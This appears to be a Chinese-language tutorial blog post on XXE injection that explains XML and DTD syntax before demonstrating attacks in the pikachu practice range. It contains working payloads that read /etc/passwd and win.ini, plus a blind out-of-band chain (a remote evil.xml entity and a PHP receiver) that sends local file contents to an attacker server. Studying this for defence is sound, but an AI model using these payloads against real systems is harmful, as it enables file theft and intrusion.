XXE原理介绍
XXE Injection即XML External Entity Injection。也就是外部实体注入攻击。漏洞是由在处理不安全的外部实体数据时造成的。
在了解xxe漏洞之前我们需要对xml有所了解。
xml
xml与html的区别为:xml是传输和储存数据的。html的作用是显示数据的。
xml的结构是树结构,从根出发再到叶
<?xml version="1.0" encoding="UTF-8"?> //表达版本和编码方式
<note> //根元素
<to>Tove</to> //4个子元素
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
xml的自我表达力很强。从标签和定义的元素上就可以看出想要表达什么。
xml语法表达
1.得有xml声明
2.xml文档一定得有根元素
3.必须有闭合标签
4.大小写敏感
5.属性值必须加引号
6.实体引用
xml元素与属性
元素:XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。 <123>Harry Potter</123>
属性:属性(Attribute)提供有关元素的额外信息。
<123 name=‘George “Shotgun” Ziegler’>
可参考文章:
xml属性
xml元素
DTD声明
<?xml version="1.0"?>
<!DOCTYPE note [ //声明了根元素
<!ELEMENT note (to,from,heading,body)> //声明子元素
<!ELEMENT to (#PCDATA)> //下面个子元素都是可以编辑型
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note> //进行匹配文档的书写
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
引用一张图片:XML外部实体注入小结
xxe危害
1.本地敏感文件读取
2.主机探测,端口扫描
3.文件上传
4.命令执行
任意文件读取
在linux中查看passwd
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd">]>
<c>&b;</c>
在windows中查看win.ini
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">]>
<c>&b;</c>
文件读取分为有回显和无回显
1.有回显
<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY xxe "123" > ]>
<a>&xxe;</a>
直接进行文件读取
当然这种特殊符号少的就不会进行报错,如果特殊符号多就不会回显。我们就可以使用CDATA,不进行解析。
2.无回显
我们先把靶场的显示函数注释掉。
现在我们就是一个无回显的环境。
对于我们的blind xxe我们一般思路是使用外带数据通道进行信息读取。首先进行一个信息读取,使用flie://或者php://filte协议。然后将数据发送到我们的攻击机。
我们这里使用环回地址进行测试:127.0.0.1
思路大概就是这样,我们来构造playload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>
evil.txt内容
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/1.php?file=%file;'>">
1.php内容
<?php file_put_contents("2.txt", $_GET['file']); ?>
攻击流程:
1.先调用%remote,请求evil.txt文件中的内容
2.再调用evil.txt中的%file,获取本地文件。
3.调用%all,进行send。运行file_put_contents函数,我们会在攻击服务器上创建一个2.txt内容。2.txt里的内容就是1.txt里的内容。
我们以pikachu靶场作为案例
这是我们C盘下的1.txt文件
输入playload
生成2.txt文件
成功获取内容
在靶场执行我们的xml内容后,攻击服务器上就会生成2.txt文件
参考文章
1.菜鸟教程
2.XML外部实体注入小结
3.一篇文章带你深入理解漏洞之 XXE 漏洞
4.从XML相关一步一步到XXE漏洞